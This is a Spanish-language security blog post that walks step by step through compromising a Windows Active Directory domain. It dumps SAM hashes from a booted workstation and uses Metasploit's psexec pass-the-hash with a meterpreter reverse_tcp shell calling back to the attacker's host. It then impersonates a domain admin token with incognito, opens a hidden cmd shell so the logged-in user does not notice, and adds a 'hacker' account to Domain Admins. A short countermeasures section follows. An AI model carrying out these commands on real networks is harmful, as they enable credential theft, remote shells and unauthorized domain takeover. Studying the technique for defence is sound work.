Pass-The-Hash + Token Impersonation = Escalación de privilegios en dominios Windows

Para complementar el artículo Cracking passwords Windows y Active Directory y acercándome más a lo explicado en ¿Cómo tomar control de un Dominio en Windows?, les explicaré como tomar control de un dominio AD sin crackear passwords, simplemente utilizando el ataque pass-the-hash y suplantación (impersonation) de usuarios.

Al igual que en el ataque que demostré en mi otro artículo, podremos partir de un atacante sin cuenta de usuario en el dominio, sólo con acceso físico a una workstation, y terminar siendo administradores de dominio... cool no?


Obtengamos los hashes

Una vez más necesitaremos una distribución de Linux como backtrack, desde la cual iniciamos en una workstation de la red. Desde ahí montamos la partición de Windows en /mnt/hack/ y procedemos a obtener los hashes de la SAM local.
Primero conseguimos el syskey para desencriptar los hashes y la almacenamos en syskey.txt:

bkhive /mnt/crack/WINDOWS/system32/config/system syskey.txt

y a continuación obtenemos los hases:

samdump2 /mnt/crack/WINDOWS/system32/config/SAM syskey.txt > hashes.txt

Ya tenemos los hashes de las cuentas locales. Esta vez no necesitamos crackear estos hashes, ya nos alcanza con tenerlos... locura? no, gracias a Windows, no lo es.


Pass-the-Hash attack

El ataque pass-the-hash no es realmente un ataque, sino una característica del protocolo de autenticación LM/NTLM/NTLMv2. Cuando un usuario desea acceder a un recurso de otra máquina, dependiendo la versión de Windows y cómo esté configurado, la autenticación se llevará a cabo utilizando LM/NTLM/NTLMv2 o el mucho muy preferible Kerberos. Si bien desde Windows 2000 la autenticación ideal es Kerberos, Windows (y su lema "compatibilidad hacia lo inseguro") permite utilizar otros tipos de autenticaciones, osea, alguno de los citados. Es por esto que todavía podemos acceder recursos por red utilizando LM/NTLM/NTLMv2. Si bien NTLMv2 es bastante más seguro que sus predecesores, sigue padeciendo del mismo problema... el pass-the-hash.
Y de qué va pass-the-hash? bueno, si leen un poco sobre la implementación del protocolo (The NTLM Authentication Protocol), verán que no es necesario conocer el password en texto plano para autenticarse, sino que directamente se puede utilizar el hash... si, el hash que obtuvimos de la SAM.
En la autenticación LM/NTLM, el servidor (la máquina donde se encuentra el recurso) envía un challenge (conjunto arbitrario de bytes) al cliente. Este último utiliza el hash LM/NTLM partido en 3 partes de 7 bytes (los hashes son de 16, pero se les agregan 5 ceros) como claves para DES-encriptar (encriptar utilizando DES) el challenge enviado por el servidor, resultando en 3 valores de 8-bytes. Luego concatena estos 3 valores para formar la respuesta de 24 bytes, la cual envía al server.
El server realiza la misma operación y verifica que la respuesta coincida con lo que calculó. Si coinciden, la autenticación es satisfactoria, sino, se rechaza el login.

NTLMv2 varía un poco en la forma que calcula la respuesta. En este caso se utiliza un bloque de tipo blob que contiene información como timestamp y challenge del cliente (distinto al del servidor) entre otras cosas. El challenge del servidor se concatena con el blob y se calcula el HMAC-MD5 del lo anterior, utilizando el hash NTLMv2 como clave, dando como resultado un valor de 16 bytes. Los 16 bytes obtenidos se concatenan con el blob, formando así la respuesta del cliente.

Como verán, en ningún momento se necesita el password plano en la autenticación, así que no necesitamos crackear nada para acceder al server, nos basta con el hash =)

Ahora que conocemos el ataque, les explico cómo utilizarlo.
Por suerte existe metasploit, programa que nos ahorra mucho trabajo, el cual junto a su meterpreter nos permite hacer ataques complejos en una máquina. Como objetivo debemos elegir la máquina de algún administrador de dominio, porque necesitaremos sus credenciales para poder crear un nuevo administrador.
Primero ejecutamos la consola de metasploit, algo tan simple como:

msfconsole

Una vez cargada la consola (tarda un poco), elegimos utilizar el exploit psexec:

msf > use windows/smb/psexec

El módulo PsExec es similar a una utilidad provista por SysInternals, pero con algunos añadidos, como por ejemplo, la posibilidad de autenticarse remotamente utilizando hashes en lugar de passwords. Esta herramienta nos permite ejecutar comandos remotamente, utilizando SMB (ahora llamado CIFS). Siempre que deseen obtener información de un módulo, pueden ejecutar el comando "info".
Entre los parámetros que necesitamos para ejecutar esta herramienta están: RHOST (host a explotar), SMBUser (usuario SMB, en nuestro caso será Administrator), SMBPass (el hash del password que obtuvimos en la sección anterior). Claro está que el ataque funciona si la workstation que deseamos acceder tiene el mismo password para la cuenta Administrator (algo extremadamente común en redes corporativas):

msf exploit(psexec) > set RHOST 192.168.1.44
msf exploit(psexec) > set SMBUser Administrator
msf exploit(psexec) > set SMBPass **** hash LM aqui ****:**** hash NTLM aqui****

En caso de no tener el hash LM, ingresen 32 ceros, luego los dos puntos (:) y a continuación el hash NTLM.
A continuación cargamos el payload que deseamos ejecutar. En esta ocación utilizaremos meterpreter que nos permite realizar varias tareas en una sola conexión. Elegimos que el sistema donde nos autenticamos inicie una conexión tcp a nuestra máquina en el port 4444:

msf exploit(psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.1
msf exploit(psexec) > set LPORT 4444

Como siempre, para ver qué parámetros son necesarios, pueden ejecutar "show options" en la consola.

Ya tenemos el exploit configurado y listo para atacar, así que, ataquemos! En metasploit esto se traduce a ejecutar:

msf exploit(psexec) > exploit

La salida debería ser algo como:

[*] Started reverse handler on 192.168.1.1:4444
[*] Connecting to the server...
[*] Authenticating as user 'Administrator'...
[*] Uploading payload...
[*] Created \gDjneULB.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.44[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.44[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (LjbMTYFm - "MpqcVfihFhHPNmIktZMFOLNiXLVsE")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \gDjneULB.exe...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.44:1029)

Ahora ya estamos en la máquina remota y podemos ejecutar todo lo que meterpreter nos permita. Llegado este paso, necesito introducir un poco de sobre el manejo de tokens en Windows para entender lo que vamos a hacer... sigan leyendo la siguiente sección!


Suplantando al Administrador de dominio

Para poder suplantar la identidad de un administrador de dominio necesitamos conocer un poco acerca de los access tokens.
Un access token es un objeto que describe el contexto de seguridad de un proceso o thread. Entre la información que incluye se encuentran la identidad y los privilegios de la cuenta de usuario asociada con el proceso/thread. Cuando un usuario se loguea, se crea un access token, y todo proceso o hilo creado por él tiene una copia del token (es decir, se heredan los permisos).
Cada vez que un proceso quiere interactuar con objetos cuyos decriptores fuerzan el control de acceso (securable objects) se utiliza el access token asociado.
En resumen, los tokens describen los permisos que tiene un usuario, y dictan lo que puede y no puede hacer en un sistema.

Existen distintos tipos de tokens:

- Primary tokens: sólo se pueden asociar a procesos y representan el contexto de seguridad del mismo. La creación y asociación de estos tokens son operaciones privilegiadas.
- Impersonation tokens: aka, los tokens que nos interesan. Estos tokens permiten a un usuario "ser", temporalmente, otro usuario. Es decir, permiten a una aplicación correr con permisos de un usuario distinto al que la creó.
Existen tres niveles de impersonation:

# identification: permite a un thread inspeccionar la identidad de otro usuario.
# impersonation: permite a un thread ejecutar aplicaciones a nombre de otro usuario.
# delegation: igual que impersonation, pero además se extiende a sistemas remotos a los cuales el server tiene conexión. La diferencia está en que almacena información sobre credenciales de autenticación. Estos tokens son los que nos permitirán lograr privilegios Domain Admin.

Dependiendo el nivel de acceso que logremos en un server/workstation, utilizando estos tokens existe la posibilidad de lograr escalación de privilegios. La escalación normalmente se divide en dos formas principales: Domain Privilege Escalation y Local Privilege Escalation.

Si logramos acceder a un sistema con privilegios Administrator (algo que hacemos con pass-the-hash), podremos impersonar tokens del tipo delegation. Como verán, esto es una característica del sistema operativo, no un bug! es decir, hacer esto es "legal" hablando en términos del SO.

Teniendo un poco de idea sobre cómo funcionan los benditos tokens, podemos proseguir con la escalada de privilegios. Lo que haremos es suplantar la identidad del administrador de dominio, por eso es que necesitamos loguearnos alguna máquina donde esté logueado el admin, porque en ella podemos obtener el token de este. La tarea de suplantar el admin se lleva a cabo con el módulo incognito. Existe también la aplicación incognito para Windows, la cual metasploit portó a su framework. Para usar incognito, simplemente ejecutamos:

meterpreter > use incognito

Con el módulo cargado podremos ver qué tokens están disponibles en sistema y así sabremos a quienes podemos suplantar. La lista de tokens la vemos ejecutando:

meterpreter > list_tokens -u

que nos dará una salida similar a:

Delegation Tokens Available
========================================
DVPEM\demasiadovivo
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

Por supuesto que nos interesa el administrador de dominio, el cual en mi caso se llama demasiadovivo. Sabiendo cual es el token indicado, iniciamos la suplantación:

meterpreter > impersonate_token DVPEM\\Administrator

Si todo va bien, ya podemos ejecutar aplicaciones como administrador de dominio!, para que los privilegios nos duren, creamos una cuenta propia y la agregamos al grupo Domain Admins, es decir, el grupo de administradores de dominio. Este trabajo necesitamos hacerlo desde una consola en la máquina atacada, así que primero abrimos una consola (comando execute) con el meterpreter:

meterpreter > execute -f cmd.exe -H -i -t

Los parámetros son -f para indicar qué archivo queremos ejecutar, -H para indicar que la consola se abra escondida, es decir, que el usuario que se encuentra logueado en la máquina no la vea (importante, sino sospecharán que pasa algo raro...), -i para decir que deseamos interactuar con el proceso una vez creado y -t para que el proceso se ejecute con el token suplantado.

Ahora si, un poco de comandos Windows. La administración de usuarios del dominio se realiza a través del comando net, pueden buscarlo en la lista que mostró emilio hace unos días (http://itfreekzone.blogspot.com/2010/03/shortcuts-lista-de-comandos-de-windows.html). Agregaremos el usuario hacker, password 123456 y luego lo haremos administrador de dominio con los siguientes comandos:

C:\WINDOWS\system32>net user hacker 123456 /add /domain
C:\WINDOWS\system32>net group "Domain Admins" hacker /add /domain

Si la salida es algo como "The request will be processed at a domain controller for domain DVPEM", quiere decir que estamos bien =)

Llegaron hasta acá sin errores? FELICITACIONES! son Administradores de dominio!, es decir, el Dios de dominio.


Otras recetas

Si bien yo describí como realizar el ataque utilizando metasploit, existen otras formas de hacerlo, aunque llevan más trabajo. En el artículo "Why Crack When You Can Pass the Hash?" explican varios métodos para ejecutar aplicaciones remotamente utilizando pass-the-hash. Entre las herramientas citadas se encuentran el cliente SAMBA modificado, SMBShell, Nessus, Hydra, Msvctl, y el muy conocido Pass-The-Hash Toolkit.

Por su parte, para realizar token impersonation se puede utilizar la herramienta incognito directamente desde Windows, la cual pueden ver en acción en el white paper que llevó a su implementación: "Security Implications of Windows Access Tokens - A Penetration Tester's Guide".


Contramedidas

OK, vimos escalar privilegios en un dominio Windows (para variar) es muy fácil. También vimos que no es necesario utilizar exploits, simplemente tener acceso a una workstation. Pero bien, nosotros trabajamos para la seguridad, así que es mi deber buscar una solución al problema.
Como no se utilizan exploits en el "ataque", no existe parche que nos salve. Lo único que podemos hacer es utilizar un conjunto de políticas y configuraciones del sistema operativo que minimicen los riesgos.

Tal vez la pregunta que viene a la mente cuando hablamos de pass-the-hash es, si tenemos kerberos y toda la red está configurada para utilizarlo, PARA QUE CORCHO TENER ACTIVADO LM/NTLM/NTLMv2??? Desactivar estos protocolos inseguros parece una muy buena idea, pero por suerte antes de proponerlo me encontré con un interesantísimo paper de la gente de Compass Security llamado "Windows Security - Hash Injection Attacks" donde justamente hacen esta prueba y el resultado fue que no funciona más el login!!! Increíble... bah, es Windows...

La solución que a mi parecer es la mejor, y por suerte coincide con lo que leí luego en papers, es una que utiliza un principio citado en todo libro de seguridad: No loguearse nunca como administrador si no necesitamos tales privilegios! Esto complementado con utilizar passwords distintos al de las workstations de usuario para las workstations de los administradores de dominio. A su vez, utilizar distinto password para el Administrator de los servidores.
En el trabajo diario, un administrador de dominio sólo necesitará estos permisos para acceder a los Domain Controlers, y a lo sumo en su workstation. Si el password de Administrator en estas máquinas es distinto al del resto de la red, el rango de ataque se reduce. Igualmente no debería utilizar, salvo en casos excepcionales, sus credenciales de administrador en la workstation que trabaja.

Una medida extra es deshabilitar el debugging de aplicaciones. El debugging de aplicaciones se utiliza muy raramente (salvo que se dediquen a programar) y permite inyectar librerías en la memoria de los procesos. Gracias a esto metasploit (o algún otro programa) puede cargar librerías en la memoria del proceso afectado (LSASS.exe) y ejecutar distintas acciones. Si bien la medida no detiene todos los ataques, si frena algunos.
Cambiar esta función es tan simple como quitar todos los usuarios y grupos asignados a la configuración "Debug program" en la política de grupo.


Referencias

- Why Crack When You Can Pass the Hash? (Chris
Hummel)
- Pass-the-hash attacks: Tools and Mitigation (Bashar Ewaida)
- Security Implications of Windows Access Tokens - A Penetration Tester's Guide (Luke Jennings)
- ¿Cómo tomar control de un Dominio en Windows?
- Using Metasploit’s Incognito To Impersonate User Tokens
- Access Tokens
- Windows Security - Hash Injection Attacks (Ivan Bütler)
- Add a user from the command line Windows
- Token Passing with Incognito
- Deploying meterpreter as an exploit payload